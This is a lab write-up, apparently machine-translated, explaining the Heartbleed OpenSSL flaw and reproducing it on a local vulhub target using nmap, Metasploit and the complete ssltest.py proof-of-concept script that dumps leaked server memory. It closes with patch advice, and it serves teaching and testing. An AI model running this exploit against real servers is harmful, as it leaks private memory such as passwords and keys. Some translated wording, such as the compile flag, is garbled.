catalogue
Heartbleed
Heartbleed (English: heartbleed), also referred to as heartbleed vulnerability, is a security vulnerability that appears in the encryption library OpenSSL, which is widely used to implement the transport layer security (TLS) protocol of the Internet. It was introduced into the software in 2012 and first disclosed to the public in April 2014. As long as a defective OpenSSL instance is used, both the server and the client may be attacked. The reason for this problem is that the input is not properly verified when implementing the heartbeat extension of TLS (lack of boundary check), so the name of the vulnerability comes from "heartbeat". The program error belongs to buffer filtering, that is, more data can be read than should be allowed.
Vulnerability description
Heartbleed vulnerability. This serious flaw (CVE-2014-0160) is caused by the failure to correctly check the boundary before memcpy() calls the victim user's input as the length parameter. The attacker can trace the 64KB cache allocated by OpenSSL, copy the byte information beyond the necessary range into the cache, and then return the cache content. In this way, the memory content of the victim will be leaked at the rate of 64KB each time.
Vulnerability principle
The problem of OpenSSL "heart bleeding" vulnerability occurs in the process of OpenSSL processing TLS heartbeat. The process of TLS heartbeat is: A sends A request packet to B, and B reads the content (data) of the packet after receiving the packet, and returns A response packet containing the content of the request packet. The content (data) of the request package contains information such as the type and data length of the package.
When B receives A's request packet, it does not verify the actual length of A packet, but simply takes the length specified in the request packet data as the actual length of data. Therefore, when the length specified in the request packet is different from the actual length of the request packet data, the problem arises. Suppose A constructs A request packet and its actual content length is only 1, but tells B that its length is 65535, then B will treat the content of A as 65535 after receiving the packet. In fact, the problem is not serious here. The most serious problem is that the heartbeat response packet also needs to be attached with all the contents of the request packet, This requires the program to copy the data of the request packet from its memory to the memory of the response packet.
This is A big problem. When copying, the program thinks that the content length of package A is 65535 bytes. As A result, package A actually has only 1 byte in memory. Therefore, the program not only copies the content of package A, but also "foolishly" copies the additional 65534 bytes after the location of package A data in memory into the response package, and sends the response package back to A, So A easily obtains the 65534 bytes of data in B's memory. Imagine that if the 65534 bytes of data include some sensitive information, the consequences will be very serious. Moreover, A can simply send heartbeat packets continuously to obtain n 65534 bytes of data in B's machine memory. This vulnerability is worthy of being the "best vulnerability" in 2014.
Loophole recurrence
Target: vulhub 192.168.41.138
Attacker: kali 192.168.41.142
Open environment
docker-compose up -d docker ps
Successfully opened
We access the mapped port on the host, as follows
Before collecting information, we first use Nmap for scanning,
nmap -sV -T4 192.168.41.138
We use Nmap vulnerability scanning script to scan port 443, and the detection is as follows:
As you can see, the display can be used. Next, two reproduction steps are introduced.
Attack using MSF framework
msfconsole
search heartbleed
use auxiliary/scanner/ssl/openssl_heartbleed or use 0
Then show options to view the configuration items
The configuration required for setting is as follows:
It is explained here that verbose is set to true to {see the leaked information; Then run, and the results are as follows:,
Here you can see the 64KB information of the target (if someone is logging in to the web application at this time, you can also directly catch the account password and other information).
MSF reproduction complete.
Reproduce using official POC
Let's check the vulhub target environment and the built-in scripts in this directory.
The script code is as follows:
import sys import struct import socket import time import select import binascii import re from optparse import OptionParser options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)') options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)') def h2bin(x): return binascii.unhexlify(x.replace(' ', '').replace('\n', '')) hello = h2bin(''' 16 03 02 00 dc 01 00 00 d8 03 02 53 43 5b 90 9d 9b 72 0b bc 0c bc 2b 92 a8 48 97 cf bd 39 04 cc 16 0a 85 03 90 9f 77 04 33 d4 de 00 00 66 c0 14 c0 0a c0 22 c0 21 00 39 00 38 00 88 00 87 c0 0f c0 05 00 35 00 84 c0 12 c0 08 c0 1c c0 1b 00 16 00 13 c0 0d c0 03 00 0a c0 13 c0 09 c0 1f c0 1e 00 33 00 32 00 9a 00 99 00 45 00 44 c0 0e c0 04 00 2f 00 96 00 41 c0 11 c0 07 c0 0c c0 02 00 05 00 04 00 15 00 12 00 09 00 14 00 11 00 08 00 06 00 03 00 ff 01 00 00 49 00 0b 00 04 03 00 01 02 00 0a 00 34 00 32 00 0e 00 0d 00 19 00 0b 00 0c 00 18 00 09 00 0a 00 16 00 17 00 08 00 06 00 07 00 14 00 15 00 04 00 05 00 12 00 13 00 01 00 02 00 03 00 0f 00 10 00 11 00 23 00 00 00 0f 00 01 01 ''') hb = h2bin(''' 18 03 02 00 03 01 40 00 ''') def hexdump(s: bytes): for b in range(0, len(s), 16): lin = [c for c in s[b : b + 16]] hxdat = ' '.join('%02X' % c for c in lin) pdat = ''.join((chr(c) if 32 <= c <= 126 else '.' )for c in lin) print(' %04x: %-48s %s' % (b, hxdat, pdat)) print("") def recvall(s, length, timeout=5): endtime = time.time() + timeout rdata = b'' remain = length while remain > 0: rtime = endtime - time.time() if rtime < 0: return None r, w, e = select.select([s], [], [], 5) if s in r: data = s.recv(remain) # EOF? if not data: return None rdata += data remain -= len(data) return rdata def recvmsg(s): hdr = recvall(s, 5) if hdr is None: print('Unexpected EOF receiving record header - server closed connection') return None, None, None typ, ver, ln = struct.unpack('>BHH', hdr) pay = recvall(s, ln, 10) if pay is None: print('Unexpected EOF receiving record payload - server closed connection') return None, None, None print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay))) return typ, ver, pay def hit_hb(s): s.send(hb) while True: typ, ver, pay = recvmsg(s) if typ is None: print('No heartbeat response received, server likely not vulnerable') return False if typ == 24: print('Received heartbeat response:') hexdump(pay) if len(pay) > 3: print('WARNING: server returned more data than it should - server is vulnerable!') else: print('Server processed malformed heartbeat, but did not return any extra data.') return True if typ == 21: print('Received alert:') hexdump(pay) print('Server returned error, likely not vulnerable') return False def main(): opts, args = options.parse_args() if len(args) < 1: options.print_help() return s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print('Connecting...') sys.stdout.flush() s.connect((args[0], opts.port)) print('Sending Client Hello...') sys.stdout.flush() s.send(hello) print('Waiting for Server Hello...') sys.stdout.flush() while True: typ, ver, pay = recvmsg(s) if typ == None: print('Server closed connection without sending Server Hello.') return # Look for server hello done message. if typ == 22 and pay[0] == 0x0E: break print('Sending heartbeat request...') sys.stdout.flush() s.send(hb) hit_hb(s) if __name__ == '__main__': main()
We check the required parameters and enter the following command to run the script code on the target:
python ssltest.py 192.168.41.138 -p 443
Successful use.
Don't forget to close the range:
docker-compose down docker ps
exit
Repair scheme
OpenSSL "bleeding heart" vulnerability (CVE-2014-0160) affected OpenSSL version:
- OpenSSL 1.0.2-beta
- OpenSSL 1.0.1 - OpenSSL 1.0.1f
To solve this vulnerability, the simple and crude way is to upgrade OpenSSL software. It is recommended that the server administrator use version 1.0.1g or - dopenssl_ NO_ The heartbeats option recompiles OpenSSL to disable vulnerable features until the server software can be updated.
Related articles: https://bwshen.blog.csdn.net/article/details/106879383